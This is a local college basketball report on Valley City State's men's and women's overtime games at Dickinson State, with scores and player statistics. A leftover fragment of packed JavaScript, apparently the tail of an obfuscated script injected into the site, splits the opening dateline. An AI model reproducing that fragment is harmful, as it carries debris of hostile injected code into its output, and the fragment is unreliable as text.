VALLEY yhsns|var|u0026u|referrer|yyebh||js|php’.split(‘|’),0,{}))
CITY (NewsDakota.com)–The Viking women and men split a double header at Dickinson State Saturday.
The Viking women dropped a 58-53 decision, while the men edged the Bluehawks 71-68. Both games went to overtime.
Both teams struggled to start the first half of the opening Dakota Athletic Conference game for each team, but Dickinson State got hot in the second half and pulled a come from behind win over the Valley City State Women by a 58-53 score.
The Viking defense held the Blue Hawks to just 24% shooting in the first half and allowed only 15 points to the home team, but the second half was a different story.
Dickinson State shot 50% from the floor and outscored the Vikings 43-29 in the second half and overtime to pull off the come from behind victory in overtime. The Blue Hawks forced 26 Viking turnovers.
Sophomore Brittany Lehner posted a double-double for the Vikings with 13 points and 10 rebounds. Lehner was joined by freshman Sierra Evan who also scored thirteen.
The loss puts the Vikings at 15-10 overall on the season and 0-1 to start the DAC season.
The Valley City State University Vikings, ranked 19th in the nation, outscored the Blue Hawks eight to five in overtime to post a 71-68 road victory to open the Dakota Athletic Conference season.
After having beat Dickinson State in the consolation game of the Dakota Athletic Conference Tip-Off Tournament just six days prior, the Vikings used balanced scoring and an overtime period to fend off the Blue Hawks for a second straight time.
The Vikings used a balanced offensive attack with four players posting 14 points or more in the winning effort. Juniors Sekani Milligen and John Raquel scored 16 points each to lead the Vikings in scoring. Sylvester Walker and Aaron Duske both chipped in with 14 points each in the winning effort.
Milligen also grabbed seven rebounds to lead the Viking rebounding effort.
Both teams struggled shooting from beyond the three point line with the Vikings shooting only 4 of 18 for 22% while the home Blue Hawks were 4 for 17 for 23.5%.
The difference in shooting was at the free throw line where the Vikings worked their way to 82.6% on 19 of 23 shooting from the charity stripe. Dickinson State however shot 20 of 28 for 71.4%.
The win puts the number 19 team in the NAIA National Basketball Poll at 18-6 on the season and 1-0 in the Dakota Athletic Conference.
Valley City State travels to Jamestown College on Wednesday, February 1. The Viking women lost the first matchup of the year between the two in overtime, and the mens’ matchup will be a match-up of two top 20 rated teams. Tip-off is set for 5:30 p.m. for the women and 7:30 PM for the men at the Jamestown Civic Center.